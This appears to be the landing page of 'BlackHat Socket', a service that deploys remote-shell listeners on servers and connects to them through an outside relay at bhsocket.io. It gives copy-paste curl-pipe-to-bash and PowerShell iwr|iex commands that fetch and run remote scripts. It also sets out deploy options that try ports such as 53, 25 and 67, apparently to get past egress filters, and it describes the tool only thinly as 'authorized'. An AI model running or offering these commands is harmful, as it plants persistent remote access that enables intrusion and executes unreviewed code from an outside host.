Private relay network

BlackHat Socket

Deploy a BH Socket listener on a remote server, install bh-netcat locally, and connect back with the same secret through bhsocket.io. Built for authorized internal server operations and private relay access.

User panel

Create an employee account, get your private deploy token, and keep every deployed server secret inside your own dashboard.

Open Panel
1. Register

Create your account from the BlackHat Socket panel.

2. Copy deploy command

Your deploy command includes a private token, so new servers are saved to your dashboard.

3. Connect later

Open the panel anytime to copy the secret and connect command for each server.

bh-netcat private relay client

bh-netcat is the BlackHat Socket client command used to connect through the private bhsocket.io relay. Install it locally, copy a saved secret from your dashboard, and connect to authorized deployed servers.

Read bh-netcat guide
Install command

Use https://www.bhsocket.io/install to install bh-netcat on Linux, macOS, or Windows.

Deploy command

Use https://www.bhsocket.io/y on authorized servers to start a listener and register it to your account token.

Connect command

Run bh-netcat -s "SECRET" -i from your workstation to open the interactive session.

Deploy on a server

Run this on the remote Linux/macOS server. It installs bh-netcat there, selects a working relay port, registers the secret in admin, and starts a listener.

Deploy command

bash -c "$(curl -fsSL https://www.bhsocket.io/y)"
44373505325678080
1. Deploy

The server starts a listener and prints the secret.

2. Install locally

Install bh-netcat on your own workstation.

3. Connect

Use the same secret printed by the deploy command.

Install bh-netcat locally

Run one of these on your own computer. This only installs the client command; it does not deploy or generate a server secret.

Linux

Install bh-netcat on your workstation.

bash -c "$(curl -fsSL https://www.bhsocket.io/install)"
bh-netcat -h
bh-netcat -s "SECRET" -i

macOS

Intel and Apple Silicon are installed directly.

bash -c "$(curl -fsSL https://www.bhsocket.io/install)"
bh-netcat -h
bh-netcat -s "SECRET" -i

Windows

Use PowerShell, or Git Bash/WSL with the bash installer.

powershell -ExecutionPolicy Bypass -Command "iwr https://www.bhsocket.io/install.ps1 -UseB | iex"
Git Bash: bash -c "$(curl -fsSL https://www.bhsocket.io/install)"

Connect after install

Use the secret printed by the server deploy command.

bh-netcat -s "SECRET_FROM_DEPLOY" -i

Custom deploy settings

Use these environment variables before the deploy command when you need a custom path, temp directory, host, relay port, or fixed secret.

Deploy path

BH_PREFIX chooses where bh-netcat is installed on the remote server. The command is written to $BH_PREFIX/bin/bh-netcat.

BH_PREFIX="$HOME/.local" bash -c "$(curl -fsSL https://www.bhsocket.io/y)"
Home and temp directory

HOME is used when no prefix is set. TMPDIR controls temporary downloads and the deploy listener pid/log files.

HOME=/var/www TMPDIR=/tmp bash -c "$(curl -fsSL https://www.bhsocket.io/y)"
Relay host and port

BH_HOST sets the relay hostname. BH_PORT sets the default relay port. BH_PORTS is only for deploy and controls the ports tested in order.

BH_PORT=443 BH_PORTS="443 7350 53 25 67 8080" bash -c "$(curl -fsSL https://www.bhsocket.io/y)"
Reuse a deploy secret

S sets the secret for server deploy. Use this when you want to redeploy the same server secret.

S="SECRET_FROM_DEPLOY" bash -c "$(curl -fsSL https://www.bhsocket.io/y)"
BH_PREFIXHOMETMPDIRBH_HOSTBH_PORTBH_PORTSS